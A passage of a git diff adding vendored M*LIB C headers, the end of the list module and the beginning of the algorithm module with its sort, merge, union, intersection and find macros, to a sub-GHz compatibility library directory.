+  M_EMPLACE_QUEUE_DEF(name, list_t, _emplace_front, oplist, M_L1ST_EMPLACE_STRONG_DEF) \
+  M_EMPLACE_QUEUE_DEF(name, list_t, _emplace_back, oplist, M_L1ST_EMPLACE_WEAK_DEF) \
+  M_L1ST_ITBASE_DEF(name, type, oplist, list_t, it_t)
+
+// Outdated name
+#define M_LIST_DUAL_PUSH_DEF M_LIST_DUALB_DEF
+#define M_LIST_DUAL_PUSH_DEF_AS M_LIST_DUALB_DEF_AS
+
+#if M_USE_SMALL_NAME
+#define LIST_DEF M_LIST_DEF
+#define LIST_DEF_AS M_LIST_DEF_AS
+#define LIST_DUALB_DEF M_LIST_DUALB_DEF
+#define LIST_DUALB_DEF_AS M_LIST_DUALB_AS
+#define LIST_DUAL_PUSH_DEF M_LIST_DUALB_DEF
+#define LIST_DUAL_PUSH_DEF_AS M_LIST_DUALB_DEF_AS
+#define LIST_DUALF_DEF M_LIST_DUALF_DEF
+#define LIST_DUALF_DEF_AS M_LIST_DUALF_DEF_AS
+#define LIST_OPLIST M_LIST_OPLIST
+#define LIST_DUALF_OPLIST M_LIST_DUALF_OPLIST
+#define LIST_INIT_VALUE M_LIST_INIT_VALUE
+#define LIST_DUAL_PUSH_INIT_VALUE M_LIST_DUAL_PUSH_INIT_VALUE
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-algo.h b/lib/subghz_unleashed_compat/include/mlib/m-algo.h
new file mode 100644
index 000000000..6a23392ce
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-algo.h
@@ -0,0 +1,1240 @@
+/*
+ * M*LIB - ALGO module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_ALGO_H
+#define MSTARLIB_ALGO_H
+
+#include "m-core.h"
+
+/* Define different kind of basic algorithms named 'name' over the container
+   which oplist is 'cont_oplist'.
+   USAGE:
+   ALGO_DEF(algogName, containerOplist|type if oplist has been registered) */
+#define M_ALGO_DEF(name, cont_oplist)                                         \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_ALG0_DEF_P1(name, M_GLOBAL_OPLIST(cont_oplist))                           \
+  M_END_PROTECTED_CODE
+
+
+/* Map a function (or a macro) to all elements of a container.
+   USAGE:
+   ALGO_FOR_EACH(container, containerOplist|type_if_registered_oplist, function[, extra arguments of function]) */
+#define M_ALGO_FOR_EACH(container, cont_oplist, ...)                          \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_ALG0_FOR_EACH, M_ALG0_FOR_EACH_ARG)                                      \
+  (container, M_GLOBAL_OPLIST(cont_oplist), __VA_ARGS__)
+
+
+/* Map a function (or a macro) to all elements of a container
+   and store it into another container.
+   USAGE:
+   ALGO_TRANSFORM(contDst, contDOplist|type_if_registered_oplist, contSrc, contSrcOplist|type_if_registered_oplist,
+                  function[, extra arguments of function]) */
+#define M_ALGO_TRANSFORM(contD, contDop, contS, contSop, ...)                 \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_ALG0_TRANSFORM, M_ALG0_TRANSFORM_ARG)                                    \
+  (contD, M_GLOBAL_OPLIST(contDop), contS, M_GLOBAL_OPLIST(contSop), __VA_ARGS__)
+
+
+/* Extract a subset of a container to copy into another container.
+   USAGE:
+   ALGO_EXTRACT(contDst, contDstOplist|type_if_registered_oplist, contSrc, contSrcOplist|type_if_registered_oplist
+               [, function [, extra arguments of function]])  */
+#define M_ALGO_EXTRACT(contD, contDop, contS, ...)                            \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_ALG0_EXTRACT,                                                            \
+   M_IF_NARGS_EQ2(__VA_ARGS__)(M_ALG0_EXTRACT_FUNC, M_ALG0_EXTRACT_ARG))      \
+  (contD, contDop, contS,  __VA_ARGS__)
+
+
+/* Perform a Reduce operation over a container.
+   USAGE:
+   ALGO_REDUCE(dstVar, container, contOplist|type_if_registered_oplist, reduceFunc
+               [, mapFunc[, extraParameters of map function]])
+   or
+   ALGO_REDUCE( (dstVar, dstOplist|type_if_registered_oplist), container, contOplist|type_if_registered_oplist, reduceFunc
+               [, mapFunc[, extraParameters of map function]])
+  if the destination variable is not of the same type than the elements of the containers.
+*/
+#define M_ALGO_REDUCE(dest, cont, contOp, ...)                                \
+  M_IF(M_PARENTHESIS_P(dest))                                                 \
+  (M_ALG0_REDUCE_DISPATCH(M_PAIR_1 dest, M_GLOBAL_OPLIST(M_PAIR_2 dest), M_GLOBAL_TYPE(M_PAIR_2 dest),cont, M_GLOBAL_OPLIST(contOp), __VA_ARGS__), \
+   M_ALG0_REDUCE_DISPATCH(dest, M_GET_OPLIST M_GLOBAL_OPLIST(contOp), M_GET_SUBTYPE M_GLOBAL_OPLIST(contOp), cont, contOp, __VA_ARGS__)) \
+    
+
+/* Insert into the container 'contDst' at position 'position' all the values
+   of container 'contSrc'.
+   USAGE:
+   ALGO_INSERT_AT(containerDst, containerDstOPLIST|type_if_registered_oplist, containerDstIterator, containerSrc, containerSrcOPLIST|type_if_registered_oplist)
+ */
+#define M_ALGO_INSERT_AT(contDst, contDstOp, position, contSrc, contSrcOp)    \
+  M_ALG0_INSERT_AT(contDst, M_GLOBAL_OPLIST(contDstOp), position, contSrc, M_GLOBAL_OPLIST(contSrcOp) )
+
+
+/*****************************************************************************/
+/******************************** INTERNAL ***********************************/
+/*****************************************************************************/
+
+/* Try to expand the algorithms */
+#define M_ALG0_DEF_P1(name, cont_oplist)                                      \
+  M_ALG0_DEF_P2(name, M_GET_TYPE cont_oplist, cont_oplist,                    \
+               M_GET_SUBTYPE cont_oplist, M_GET_OPLIST cont_oplist,           \
+               M_GET_IT_TYPE cont_oplist)
+
+/* First validate the first oplist */
+#define M_ALG0_DEF_P2(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  M_IF_OPLIST(cont_oplist)(M_ALG0_DEF_P3, M_ALG0_DEF_FAILURE)(name, container_t, cont_oplist, type_t, type_oplist, it_t)
+
+/* Then validate the second oplist */
+#define M_ALG0_DEF_P3(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  M_IF_OPLIST(type_oplist)(M_ALG0_DEF_P4, M_ALG0_DEF_FAILURE)(name, container_t, cont_oplist, type_t, type_oplist, it_t)
+
+/* Stop processing with a compilation failure if an oplist was invalid */
+#define M_ALG0_DEF_FAILURE(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(ALGO_DEF): one of the given argument is not a valid oplist: " M_AS_STR(cont_oplist) " / " M_AS_STR(type_oplist) )
+
+
+/* Expand all algorithms */
+#define M_ALG0_DEF_P4(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  M_CHECK_COMPATIBLE_OPLIST(name, 10, container_t, cont_oplist)               \
+  M_CHECK_COMPATIBLE_OPLIST(name, 11, type_t, type_oplist)                    \
+                                                                              \
+  M_ALG0_DEF_CALLBACK(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  M_IF_FUNCOBJ(M_ALG0_DEF_FUNCOBJ(name, container_t, cont_oplist, type_t, type_oplist, it_t)) \
+                                                                              \
+  M_IF_METHOD(EQUAL, type_oplist)(                                            \
+  M_ALG0_DEF_FIND(name, container_t, cont_oplist, type_t, type_oplist, it_t)  \
+  , /* NO EQUAL */)                                                           \
+                                                                              \
+  M_ALG0_DEF_FIND_IF(name, container_t, cont_oplist, type_t, type_oplist, it_t, \
+                     if, M_F(name,_test_cb_ct), M_F(name,_eq_cb_ct), M_APPLY, M_APPLY) \
+  M_IF_FUNCOBJ(M_ALG0_DEF_FIND_IF(name, container_t, cont_oplist, type_t, type_oplist, it_t, \
+                                  fo, M_F(name,_test_obj_t), M_F(name,_eq_obj_t), M_F(name, _test_obj_call), M_F(name, _eq_obj_call))) \
+                                                                              \
+  M_ALG0_DEF_MAP(name, container_t, cont_oplist, type_t, type_oplist, it_t)   \
+                                                                              \
+  M_ALG0_DEF_ALL_OF(name, container_t, cont_oplist, type_t, type_oplist, it_t, \
+                    _, M_F(name,_test_cb_ct), M_APPLY)                        \
+  M_IF_FUNCOBJ(M_ALG0_DEF_ALL_OF(name, container_t, cont_oplist, type_t, type_oplist, it_t, \
+                                 _fo_, M_F(name,_test_obj_t), M_F(name,_test_obj_call)) ) \
+                                                                              \
+  /* If there is a IT_REF method, we consider the container as modifiable through iterator */ \
+  M_IF_METHOD(IT_REF, cont_oplist)(                                           \
+  M_ALG0_DEF_FILL(name, container_t, cont_oplist, type_t, type_oplist, it_t)  \
+  M_ALG0_DEF_VECTOR(name, container_t, cont_oplist, type_t, type_oplist, it_t)\
+                                                                              \
+  M_IF_METHOD(CMP, type_oplist)(                                              \
+  M_ALG0_DEF_MINMAX(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  M_ALG0_DEF_SORT(name, container_t, cont_oplist, type_t, type_oplist, it_t, +, _sort) \
+  M_ALG0_DEF_SORT(name, container_t, cont_oplist, type_t, type_oplist, it_t, -, _sort_dsc) \
+  M_IF_METHOD(IT_REMOVE, cont_oplist)(                                        \
+  M_ALG0_DEF_REMOVE(name, container_t, cont_oplist, type_t, type_oplist, it_t)\
+  , /* No IT_REMOVE method */)                                                \
+  , /* No CMP method */)                                                      \
+                                                                              \
+  M_IF_FUNCOBJ(M_ALG0_DEF_SORT_AUX(name, container_t, cont_oplist, type_t, type_oplist, it_t, \
+                                  _sort_fo, M_ALG0_SORT_CALL_OBJ_P4, M_ALG0_SORT_PARAM_OBJ_P4, M_ALG0_SORT_ARG_OBJ_P4) ) \
+  , /* No IT_REF method */)                                                   \
+                                                                              \
+  M_IF_METHOD(EXT_ALGO, type_oplist)(                                         \
+  M_GET_EXT_ALGO type_oplist (name, cont_oplist, type_oplist)                 \
+  , /* No EXT_ALGO method */ )                                                \
+
+
+/* Define the types of the callbacks associated to the algorithms.
+ * Types remain internal */
+#define M_ALG0_DEF_CALLBACK(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  typedef bool (*M_F(name, _test_cb_ct))(type_t const);                       \
+  typedef bool (*M_F(name, _eq_cb_ct))(type_t const, type_t const);           \
+  typedef int  (*M_F(name, _cmp_cb_ct))(type_t const, type_t const);          \
+  typedef bool (*M_F(name, _transform_cb_ct))(type_t *, type_t const, void*); \
+  typedef void (*M_F(name, _reduce_cb_ct))(type_t *, type_t const);           \
+  typedef void (*M_F(name, _apply_cb_ct))(type_t M_IF_METHOD(IT_REF, cont_oplist)( , const)  );
+
+
+/* Define the function objects associated to the algorithms.
+ * Created Function objects are part of the public interface */
+#define M_ALG0_DEF_FUNCOBJ(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  M_FUNC_OBJ_ITF_DEF(M_F(name, _test_obj), bool, type_t const)                \
+  M_FUNC_OBJ_ITF_DEF(M_F(name, _eq_obj), bool, type_t const, type_t const )   \
+  M_FUNC_OBJ_ITF_DEF(M_F(name, _cmp_obj), int, type_t const, type_t const )   \
+  M_FUNC_OBJ_ITF_DEF(M_F(name, _transform_obj), bool, type_t *, type_t const )\
+  M_FUNC_OBJ_ITF_DEF(M_F(name, _apply_obj), void, type_t * )                  \
+  
+
+/* Define the sort functions with the CMP operator using the order selected */
+#define M_ALG0_DEF_SORT(name, container_t, cont_oplist, type_t, type_oplist, it_t, order, sort_name) \
+                                                                              \
+  /* Define the encapsulation function that perform the selected order */     \
+  M_INLINE int M_C3(name,sort_name,_cmp)(type_t const*a,type_t const*b)       \
+  {                                                                           \
+    return order M_CALL_CMP(type_oplist, *a, *b);                             \
+  }                                                                           \
+                                                                              \
+  M_ALG0_DEF_SORT_AUX(name, container_t, cont_oplist, type_t, type_oplist, it_t, sort_name, M_ALG0_SORT_CALL_CMP_P4, M_EAT, /*empty*/ )
+
+// Call the comparaison function of the type oplist (Using CMP operator)
+#define M_ALG0_SORT_CALL_CMP_P4(name, sort_name, ref1, ref2)                  \
+  M_C3(name, sort_name,_cmp)(ref1, ref2)
+
+
+// Call the created function object
+#define M_ALG0_SORT_CALL_OBJ_P4(name, sort_name, ref1, ref2)                  \
+  M_F(name, _cmp_obj_call)(funcobj, *ref1, *ref2)
+// Adding a parameter named 'funcobj' to the algorithm functions
+#define M_ALG0_SORT_PARAM_OBJ_P4(name) M_DEFERRED_COMMA M_F(name, _cmp_obj_t) funcobj
+#define M_ALG0_SORT_ARG_OBJ_P4 M_DEFERRED_COMMA funcobj
+
+
+/* Define the sort funtions using either the CMP operator or a function object
+  - name: prefix of algorithms
+  - container_t: type of the container
+  - cont_oplist: oplist of the container
+  - type_t: type of the data within the container
+  - type_oplist: oplist of such type
+  - it_t: type of the iterator of the container
+  - sort_name: suffix used for creating the sort functions
+  - cmp_func: macro to call to get the CMP order
+  - cmp_param: macro to use to generate an extra argument for the function (needed for function object).
+  It is needed to add another argument to the function.
+  - cmp_arg: Name of such argument.
+ */
+#define M_ALG0_DEF_SORT_AUX(name, container_t, cont_oplist, type_t, type_oplist, it_t, sort_name, cmp_func, cmp_param, cmp_arg) \
+                                                                              \
+  /* Test if the container is sorted */                                       \
+  M_INLINE bool                                                               \
+  M_C3(name,sort_name,_p)(const container_t l cmp_param(name))                \
+  {                                                                           \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    /* Linear comparaison of TAB[N] & TAB[N+1] to test if the order is correct */ \
+    M_CALL_IT_FIRST(cont_oplist, it1, l);                                     \
+    M_CALL_IT_SET(cont_oplist, it2, it1);                                     \
+    M_CALL_IT_NEXT(cont_oplist, it2);                                         \
+    while (!M_CALL_IT_END_P(cont_oplist, it2)) {                              \
+      type_t const *ref1 = M_CALL_IT_CREF(cont_oplist, it1);                  \
+      type_t const *ref2 = M_CALL_IT_CREF(cont_oplist, it2);                  \
+      if (!(cmp_func(name, sort_name, ref1, ref2) <= 0)) {                    \
+        return false;                                                         \
+      }                                                                       \
+      M_CALL_IT_SET(cont_oplist, it1, it2);                                   \
+      M_CALL_IT_NEXT(cont_oplist, it2);                                       \
+    }                                                                         \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  /* Sort function. It can be generated from 3 algorithms: */                 \
+  /*  - a specialized version defined by the container */                     \
+  /*  - an unstable merge sort (need 'splice_back' method) */                 \
+  /*  - an insertion sort (need 'previous' method) */                         \
+  /*  - a selection sort */                                                   \
+  M_IF(M_AND(M_TEST_METHOD_P(SORT, cont_oplist), M_EMPTY_P(cmp_arg)))(        \
+    /******** OPTIMIZED SORT FOR CONTAINER *********/                         \
+  M_INLINE void M_F(name,sort_name)(container_t l)                            \
+  {                                                                           \
+    M_CALL_SORT(cont_oplist, l, M_C3(name, sort_name,_cmp));                  \
+  }                                                                           \
+  ,                                                                           \
+                                                                              \
+  M_IF_METHOD2(SPLICE_BACK, SPLICE_AT, cont_oplist)(                          \
+  /******** MERGE SORT (unstable) ********/                                   \
+  /* NOTE: Only reasonable for lists (To move in m-list.h ?) */               \
+                                                                              \
+  /* Split the container 'l' into near even size l1 and l2 *                  \
+     using odd/even splitting  */                                             \
+  M_INLINE void                                                               \
+  M_C3(name,sort_name,_split)(container_t l1, container_t l2, container_t l)  \
+  {                                                                           \
+    it_t it;                                                                  \
+    bool b = false;                                                           \
+    /* Split 'l' into 'l1' and 'l2' */                                        \
+    for (M_CALL_IT_FIRST(cont_oplist,it, l);                                  \
+         !M_CALL_IT_END_P(cont_oplist, it);) {                                \
+      M_CALL_SPLICE_BACK(cont_oplist, (b ? l1 : l2), l, it);                  \
+      b = !b;                                                                 \
+    }                                                                         \
+    M_ASSERT(M_CALL_EMPTY_P (cont_oplist, l));                                \
+  }                                                                           \
+                                                                              \
+  /* Merge in empty 'l' the sorted container 'l1' and 'l2' */                 \
+  M_INLINE void                                                               \
+  M_C3(name,sort_name,_merge)(container_t l, container_t l1, container_t l2 cmp_param(name)) \
+  {                                                                           \
+    M_ASSERT(M_CALL_EMPTY_P (cont_oplist, l));                                \
+    it_t it;                                                                  \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    M_CALL_IT_END(cont_oplist, it, l);                                        \
+    M_CALL_IT_FIRST(cont_oplist,it1, l1);                                     \
+    M_CALL_IT_FIRST(cont_oplist,it2, l2);                                     \
+    while (true) {                                                            \
+      /* Compare current elements of the containers l1 and l2 */              \
+      int c = cmp_func(name, sort_name, M_CALL_IT_CREF(cont_oplist, it1),     \
+           M_CALL_IT_CREF(cont_oplist, it2));                                 \
+      if (c <= 0) {                                                           \
+        /* Move the element of l1 in the new container */                     \
+        M_CALL_SPLICE_AT(cont_oplist, l, it, l1, it1);                        \
+        if (M_UNLIKELY (M_CALL_IT_END_P(cont_oplist, it1))) {                 \
+          /* Move all remaining elements of l2 in 'l' */                      \
+          while (!M_CALL_IT_END_P(cont_oplist, it2)) {                        \
+            M_CALL_SPLICE_AT(cont_oplist, l, it, l2, it2);                    \
+          }                                                                   \
+          return;                                                             \
+        }                                                                     \
+      } else {                                                                \
+        /* Move the element of l2 in the new container */                     \
+        M_CALL_SPLICE_AT(cont_oplist, l, it, l2, it2);                        \
+        if (M_UNLIKELY (M_CALL_IT_END_P(cont_oplist, it2))) {                 \
+          /* Move all remaining elements of l1 in 'l' */                      \
+          while (!M_CALL_IT_END_P(cont_oplist, it1)) {                        \
+            M_CALL_SPLICE_AT(cont_oplist, l, it, l1, it1);                    \
+          }                                                                   \
+          return;                                                             \
+        }                                                                     \
+      }                                                                       \
+    }                                                                         \
+    /* Cannot occur */                                                        \
+  }                                                                           \
+                                                                              \
+  /* Sort the container 'l' */                                                \
+  M_INLINE void                                                               \
+  M_F(name,sort_name)(container_t l cmp_param(name))                          \
+  {                                                                           \
+    container_t l1;                                                           \
+    container_t l2;                                                           \
+    it_t it;                                                                  \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    /* First deal with 0, 1, or 2 size container */                           \
+    M_CALL_IT_FIRST(cont_oplist, it, l);                                      \
+    if (M_UNLIKELY (M_CALL_IT_END_P(cont_oplist, it)))                        \
+      return;                                                                 \
+    M_CALL_IT_SET(cont_oplist, it1, it);                                      \
+    M_CALL_IT_NEXT(cont_oplist, it);                                          \
+    if (M_UNLIKELY (M_CALL_IT_END_P(cont_oplist, it)))                        \
+      return;                                                                 \
+    M_CALL_IT_SET(cont_oplist, it2, it);                                      \
+    M_CALL_IT_NEXT(cont_oplist, it);                                          \
+    if (M_UNLIKELY (M_CALL_IT_END_P(cont_oplist, it))) {                      \
+      /* Two elements */                                                      \
+      int c = cmp_func(name, sort_name,                                       \
+           M_CALL_IT_CREF(cont_oplist, it1),                                  \
+           M_CALL_IT_CREF(cont_oplist, it2));                                 \
+      if (c > 0) {                                                            \
+        /* SWAP */                                                            \
+        M_CALL_SPLICE_BACK(cont_oplist, l, l, it2);                           \
+      }                                                                       \
+      return;                                                                 \
+    }                                                                         \
+    /* Container length is greater than 2: split, sort & merge */             \
+    M_GLOBAL_CONTEXT();                                                       \
+    M_CALL_INIT(cont_oplist, l1);                                             \
+    M_CALL_INIT(cont_oplist, l2);                                             \
+    M_C3(name,sort_name,_split)(l1, l2, l);                                   \
+    M_F(name,sort_name)(l1 cmp_arg);                                          \
+    M_F(name,sort_name)(l2 cmp_arg);                                          \
+    M_C3(name,sort_name,_merge)(l, l1, l2 cmp_arg);                           \
+    /* l1 & l2 shall be empty now */                                          \
+    M_ASSERT( M_CALL_EMPTY_P(cont_oplist, l1));                               \
+    M_ASSERT( M_CALL_EMPTY_P(cont_oplist, l2));                               \
+    /* Normally nothing is done here */                                       \
+    M_CALL_CLEAR(cont_oplist, l2);                                            \
+    M_CALL_CLEAR(cont_oplist, l1);                                            \
+  }                                                                           \
+                                        ,                                     \
+  M_IF_METHOD(IT_PREVIOUS, cont_oplist)(                                      \
+    /******** GENERIC INSERTION SORT *********/                               \
+  M_INLINE void M_F(name,sort_name)(container_t l cmp_param(name))            \
+  {                                                                           \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    it_t it2p1;                                                               \
+    /* NOTE: Do not use SET, this is a MOVE operation */                      \
+    /* Start from i := 1 */                                                   \
+    M_CALL_IT_FIRST(cont_oplist, it1, l);                                     \
+    M_CALL_IT_NEXT(cont_oplist, it1);                                         \
+    while (!M_CALL_IT_END_P(cont_oplist, it1) ) {                             \
+      type_t x;                                                               \
+      /* x := TAB[i] */                                                       \
+      memcpy (&x, M_CALL_IT_CREF(cont_oplist, it1), sizeof (type_t));         \
+      /* j := i -1 // jp1 := i (= j +1) */                                    \
+      M_CALL_IT_SET(cont_oplist, it2, it1);                                   \
+      M_CALL_IT_PREVIOUS(cont_oplist, it2);                                   \
+      M_CALL_IT_SET(cont_oplist, it2p1, it1);                                 \
+      while (!M_CALL_IT_END_P(cont_oplist, it2)                               \
+             && !(cmp_func(name, sort_name,                                   \
+                           M_CALL_IT_CREF(cont_oplist, it2),                  \
+                           M_CONST_CAST(type_t, &x)) <= 0)) {                 \
+        /* TAB[jp1=j+1] := TAB[j] */                                          \
+        memcpy(M_CALL_IT_REF(cont_oplist, it2p1),                             \
+               M_CALL_IT_CREF(cont_oplist, it2), sizeof (type_t) );           \
+        /* jp1 := j (= jp1-1) */                                              \
+        M_CALL_IT_SET(cont_oplist, it2p1, it2);                               \
+        M_CALL_IT_PREVIOUS(cont_oplist, it2);                                 \
+      }                                                                       \
+      /* TAB[jp1] := x */                                                     \
+      memcpy(M_CALL_IT_REF(cont_oplist, it2p1), &x, sizeof (type_t) );        \
+      /* i := i + 1 */                                                        \
+      M_CALL_IT_NEXT(cont_oplist, it1);                                       \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  ,                                                                           \
+  /********** GENERIC SELECTION SORT ************/                            \
+  M_INLINE void M_F(name,sort_name)(container_t l cmp_param(name))            \
+  {                                                                           \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    for(M_CALL_IT_FIRST(cont_oplist, it1, l);                                 \
+        !M_CALL_IT_LAST_P(cont_oplist, it1);                                  \
+        M_CALL_IT_NEXT(cont_oplist, it1))  {                                  \
+      it_t it_min;                                                            \
+      M_CALL_IT_SET(cont_oplist, it_min, it1);                                \
+      M_CALL_IT_SET(cont_oplist, it2, it1);                                   \
+      for(M_CALL_IT_NEXT(cont_oplist, it2) ;                                  \
+          !M_CALL_IT_END_P(cont_oplist, it2);                                 \
+          M_CALL_IT_NEXT(cont_oplist, it2)) {                                 \
+        if (cmp_func(name, sort_name, M_CALL_IT_CREF(cont_oplist, it2),       \
+                     M_CALL_IT_CREF(cont_oplist, it_min)) < 0) {              \
+                     M_CALL_IT_SET(cont_oplist, it_min, it2);                 \
+        }                                                                     \
+      }                                                                       \
+      if (M_CALL_IT_EQUAL_P(cont_oplist, it_min, it1) == false) {             \
+        /* TODO: Use SWAP method of type_oplist if available  */              \
+        type_t x; /* Do not use SET, as it is a MOVE operation */             \
+        memcpy (&x, M_CALL_IT_CREF(cont_oplist, it1), sizeof (type_t));       \
+        memcpy (M_CALL_IT_REF(cont_oplist, it1),                              \
+                M_CALL_IT_CREF(cont_oplist, it_min), sizeof (type_t));        \
+        memcpy (M_CALL_IT_REF(cont_oplist, it_min), &x, sizeof (type_t));     \
+      }                                                                       \
+    }                                                                         \
+  }                                                                           \
+                                                                        ) /* IF IT_PREVIOUS METHOD */ \
+                                                                        ) /* SPLICE BACK METHOD */ \
+                                                                        ) /* IF SORT METHOD */ \
+  /* Compute the union of two ***sorted*** containers  */                     \
+  M_IF_METHOD(IT_INSERT, cont_oplist)(                                        \
+  M_INLINE void                                                               \
+  M_C3(name,sort_name,_union)(M_P_EXPAND container_t dst, const container_t src cmp_param(name)) \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    it_t itIns;                                                               \
+    M_ASSERT(M_C3(name,sort_name,_p)(dst cmp_arg));                           \
+    M_ASSERT(M_C3(name,sort_name,_p)(src cmp_arg));                           \
+    /* Iterate over both dst & src containers */                              \
+    M_CALL_IT_FIRST(cont_oplist, itSrc, src);                                 \
+    M_CALL_IT_FIRST(cont_oplist, itDst, dst);                                 \
+    M_CALL_IT_END(cont_oplist, itIns, dst);                                   \
+    while (!M_CALL_IT_END_P(cont_oplist, itSrc)                               \
+           && !M_CALL_IT_END_P(cont_oplist, itDst)) {                         \
+      type_t const *objSrc = M_CALL_IT_CREF(cont_oplist, itSrc);              \
+      type_t const *objDst = M_CALL_IT_CREF(cont_oplist, itDst);              \
+      /* Compare the current element of src and dst */                        \
+      int cmp = cmp_func(name, sort_name, objDst, objSrc);                    \
+      if (cmp <= 0) {                                                         \
+        /* The element of dst is before. Go to next element of dst */         \
+        M_CALL_IT_SET(cont_oplist, itIns, itDst);                             \
+        M_CALL_IT_NEXT(cont_oplist, itDst);                                   \
+        if (cmp == 0) {                                                       \
+          /* Skip same arguments in both lists */                             \
+          M_CALL_IT_NEXT(cont_oplist, itSrc);                                 \
+        }                                                                     \
+      } else {                                                                \
+        /* The element of src is before. */                                   \
+        /* insert objSrc before */                                            \
+        /* NOTE: IT_INSERT insert after ==> Need of another iterator */       \
+        M_CALL_IT_INSERT(cont_oplist, dst, itIns, *objSrc);                   \
+        M_CALL_IT_NEXT(cont_oplist, itSrc);                                   \
+      }                                                                       \
+    }                                                                         \
+    while (!M_CALL_IT_END_P(cont_oplist, itSrc)) {                            \
+      /* Finish inserting the element of src in dst */                        \
+      type_t *objSrc = M_CALL_IT_REF(cont_oplist, itSrc);                     \
+      M_CALL_IT_INSERT(cont_oplist, dst, itIns, *objSrc);                     \
+      M_CALL_IT_NEXT(cont_oplist, itSrc);                                     \
+    }                                                                         \
+  }                                                                           \
+  , /* NO IT_INSERT */ )                                                      \
+                                                                              \
+  /* Compute the intersection of two ***sorted*** containers  */              \
+  M_IF_METHOD(IT_REMOVE, cont_oplist)(                                        \
+  M_INLINE void                                                               \
+  M_C3(name,sort_name,_intersect)(M_P_EXPAND container_t dst, const container_t src cmp_param(name)) \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    M_ASSERT(M_C3(name,sort_name,_p)(dst cmp_arg));                           \
+    M_ASSERT(M_C3(name,sort_name,_p)(src cmp_arg));                           \
+    M_CALL_IT_FIRST(cont_oplist, itSrc, src);                                 \
+    M_CALL_IT_FIRST(cont_oplist, itDst, dst);                                 \
+    /* TODO: Not optimized at all for array ! O(n^2) */                       \
+    while (!M_CALL_IT_END_P(cont_oplist, itSrc)                               \
+           && !M_CALL_IT_END_P(cont_oplist, itDst)) {                         \
+      type_t const *objSrc = M_CALL_IT_CREF(cont_oplist, itSrc);              \
+      type_t const *objDst = M_CALL_IT_CREF(cont_oplist, itDst);              \
+      int cmp = cmp_func(name, sort_name, objDst, objSrc);                    \
+      if (cmp == 0) {                                                         \
+        /* Keep it */                                                         \
+        M_CALL_IT_NEXT(cont_oplist, itSrc);                                   \
+        M_CALL_IT_NEXT(cont_oplist, itDst);                                   \
+      } else if (cmp < 0) {                                                   \
+        M_CALL_IT_REMOVE(cont_oplist, dst, itDst);                            \
+      } else {                                                                \
+        M_CALL_IT_NEXT(cont_oplist, itSrc);                                   \
+      }                                                                       \
+    }                                                                         \
+    while (!M_CALL_IT_END_P(cont_oplist, itDst)) {                            \
+      M_CALL_IT_REMOVE(cont_oplist, dst, itDst);                              \
+    }                                                                         \
+  }                                                                           \
+  , /* NO IT_REMOVE */ )
+
+
+/* Define the find like algorithms of a given data
+  TODO: Define _find_sorted that find in a sorted random access container 
+  (binary search)
+ */
+#define M_ALG0_DEF_FIND(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  /* It supposes that the container is not sorted */                          \
+  /* Find the next occurrence from it (included) of data */                   \
+  M_INLINE void                                                               \
+  M_F(name, _find_again) (it_t it, type_t const data)                         \
+  {                                                                           \
+    for ( /*nothing*/ ; !M_CALL_IT_END_P(cont_oplist, it) ;                   \
+                      M_CALL_IT_NEXT(cont_oplist, it)) {                      \
+      if (M_CALL_EQUAL(type_oplist, *M_CALL_IT_CREF(cont_oplist, it), data))  \
+        return ;                                                              \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* Find the first occurrence of data */                                     \
+  M_INLINE void                                                               \
+  M_F(name, _find) (it_t it, container_t const l, type_t const data)          \
+  {                                                                           \
